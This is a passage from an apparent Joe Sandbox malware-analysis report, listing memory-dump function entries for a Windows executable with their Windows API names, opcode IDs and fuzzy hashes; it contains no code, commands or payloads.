                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HandleLoadModuleString$Messagewprintf
                                                                                                                                                                            • String ID: %s (%d) : ==> %s: %s %s
                                                                                                                                                                            • API String ID: 4051287042-3128320259
                                                                                                                                                                            • Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
                                                                                                                                                                            • Instruction ID: f48e957ea04a803814ce9c8d114165f2d8c9f7f256579b0f2de8d560a272ec89
                                                                                                                                                                            • Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
                                                                                                                                                                            • Instruction Fuzzy Hash: A0115E75B18B8591D7309F10F444BEA2760FF89B88F805076EA4E83A5CDE7CD149C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1211466189-0
                                                                                                                                                                            • Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
                                                                                                                                                                            • Instruction ID: 833745c495e6e908ce916003eb2de1e0f49e1a39cf651489a5a1f23228e21079
                                                                                                                                                                            • Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
                                                                                                                                                                            • Instruction Fuzzy Hash: 9DA1017AB1868382EB78AF2591547BD76A1FB85FC4F505075DA0AC7A98CF3CE8609700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Close$BuffCharConnectDeleteOpenRegistryUpperValue
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 50796853-0
                                                                                                                                                                            • Opcode ID: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
                                                                                                                                                                            • Instruction ID: 376314bcc49efe46ecfe7bb030053f5cc9bc09b16ece51a5c6a6947bdae047eb
                                                                                                                                                                            • Opcode Fuzzy Hash: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
                                                                                                                                                                            • Instruction Fuzzy Hash: 18B15B76B08A468AEB20DF65D0913BC2760EF86BC4F4145B2DA4E97B9ACF3CD115C744
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ShowWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1268545403-0
                                                                                                                                                                            • Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
                                                                                                                                                                            • Instruction ID: 48b63a3078fe29798d16f711a4d73016b4f4dd0bcf4358d87f54a8b13bab4b1f
                                                                                                                                                                            • Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
                                                                                                                                                                            • Instruction Fuzzy Hash: 1D517036E0C98289F779AF29945537D3691DF83BE8F1840F1CA0EC66DDCE2DA684C251
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3864802216-0
                                                                                                                                                                            • Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
                                                                                                                                                                            • Instruction ID: cdf174a7357579a24b606142ef707117db15aa6fe43d8c11ae698994a72edab6
                                                                                                                                                                            • Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
                                                                                                                                                                            • Instruction Fuzzy Hash: 00419D7661868187E7748F22B454B6ABBA0FB89BD1F104175EF8E87B58DF3DD4448B00
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ObjectSelect$BeginCreatePath
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3225163088-0
                                                                                                                                                                            • Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
                                                                                                                                                                            • Instruction ID: 9d3fb89a75af4c6f9ebe357cc8e885c47c408262cb3bf8d7f735113f73d98091
                                                                                                                                                                            • Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
                                                                                                                                                                            • Instruction Fuzzy Hash: D0A18C72A186C187D7748F1AA4406AEBB75FB8ABD4F144125EA8953B6DCF3CD442DF00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSendWindow$Enabled
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3694350264-0
                                                                                                                                                                            • Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
                                                                                                                                                                            • Instruction ID: a3eb7b2c530d85f7ca2dc809dc19e425dd27423b592cd6c60bbb4d56534384e4
                                                                                                                                                                            • Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
                                                                                                                                                                            • Instruction Fuzzy Hash: FD917C35E0964E8AFBB49F2594543B97792EF86BC4F5480F2CB4D83799CF2DE4918280
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 87235514-0
                                                                                                                                                                            • Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
                                                                                                                                                                            • Instruction ID: 8d254c15aaaf3004d3cf1ca2513db18b08d442ded76b34b8b1dd5bc5ffae28b4
                                                                                                                                                                            • Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
                                                                                                                                                                            • Instruction Fuzzy Hash: 0A518E22A1D2D1A5FB718F715180A7A6FA1FB87BC4F4980B5DE8D57B4ACE2CF4509310
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3401586794-0
                                                                                                                                                                            • Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
                                                                                                                                                                            • Instruction ID: 4a60137b58169567d8c825e1c257d3565133de89971d1dac4e1785645a176378
                                                                                                                                                                            • Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
                                                                                                                                                                            • Instruction Fuzzy Hash: 7251D43AA0878286FB24DF25A940AAE77A0FB4ABC9F188075DE0D57B4CDF39D455C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
                                                                                                                                                                            • String ID: DllGetClassObject
                                                                                                                                                                            • API String ID: 668425406-1075368562
                                                                                                                                                                            • Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
                                                                                                                                                                            • Instruction ID: dadd957f74fe716f178826b549468be5feb660f0db6f38c3abb9010666ca125a
                                                                                                                                                                            • Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
                                                                                                                                                                            • Instruction Fuzzy Hash: 31517C72A08B8696EB249F26E98437963A0FB46BC4F148175DF8D87A49DF7CF064C704
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LongMessageSendWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3360111000-0
                                                                                                                                                                            • Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
                                                                                                                                                                            • Instruction ID: 95184b7287141acade89ea6041d5d2dd6e07557cbc718382fc934101535b8869
                                                                                                                                                                            • Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
                                                                                                                                                                            • Instruction Fuzzy Hash: C3414C36A19A4981EB708F1AE49067C33A1EFC5FD4F5541B2CE1E87BA8CE3DE4858341
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorLastinet_addrsocket
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4170576061-0
                                                                                                                                                                            • Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
                                                                                                                                                                            • Instruction ID: 8cc19a536ce329450584b97f845d3ef1e34d557e98f3b9e5a75a23f66bc8eba1
                                                                                                                                                                            • Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
                                                                                                                                                                            • Instruction Fuzzy Hash: 4D41A272A0868286E7309F25E4482AD7760FB46BE4F5042B1DE5E8379ACF3CD545C704
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 161812096-0
                                                                                                                                                                            • Opcode ID: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
                                                                                                                                                                            • Instruction ID: d465ce0253563dd06438cf62b39ee3851134a2e8781a8c5bd88feb7c240946ce
                                                                                                                                                                            • Opcode Fuzzy Hash: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
                                                                                                                                                                            • Instruction Fuzzy Hash: 5D414A3AA05B0585EB60CF22D8816BC37A5FB45BD8F1580B6DE4E83768CF38D445C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 395352322-0
                                                                                                                                                                            • Opcode ID: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
                                                                                                                                                                            • Instruction ID: f3e13a2b0d86279b0a754af43fabbc1ec78dc3d2d0af23161fe1545c2c065b12
                                                                                                                                                                            • Opcode Fuzzy Hash: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
                                                                                                                                                                            • Instruction Fuzzy Hash: BC41AF36618B8986E730CF11E4547FA63A0FF8AB88F5401B1EA8D86A58CF3DC549C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3761583154-0
                                                                                                                                                                            • Opcode ID: f21550a20849581d29996fe50c4ece6234e076094f6ba7ae14899650e1c4ede6
                                                                                                                                                                            • Instruction ID: f4e0c945045019313cb526c917ae61700d4db9dcb0b999bb33cfdba2a969280c
                                                                                                                                                                            • Opcode Fuzzy Hash: f21550a20849581d29996fe50c4ece6234e076094f6ba7ae14899650e1c4ede6
                                                                                                                                                                            • Instruction Fuzzy Hash: 5F31AF35B08B4689DB709F16E48416973A0FF86FE0F888276DE5E83798DE3CE4449304
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateHandlePipe
                                                                                                                                                                            • String ID: nul
                                                                                                                                                                            • API String ID: 1424370930-2873401336
                                                                                                                                                                            • Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
                                                                                                                                                                            • Instruction ID: e96733d15381c04b3f41e183456488f8b4155b0e3e3aadb9d6e0698063aec404
                                                                                                                                                                            • Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
                                                                                                                                                                            • Instruction Fuzzy Hash: 05313A72E18A468AEB309F24E45436963A0EF86BB8F500374EE6D867D8CF3DE4458701
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateHandlePipe
                                                                                                                                                                            • String ID: nul
                                                                                                                                                                            • API String ID: 1424370930-2873401336
                                                                                                                                                                            • Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
                                                                                                                                                                            • Instruction ID: e69ac745c5eaa7fbfe197bb78d68fc1429550f823eaaa16a31ae0b896371b762
                                                                                                                                                                            • Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
                                                                                                                                                                            • Instruction Fuzzy Hash: C5214C32E18A4686EB249F24E45437963A0FB86BB8F504375DF6E867D9DF7CE0448700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
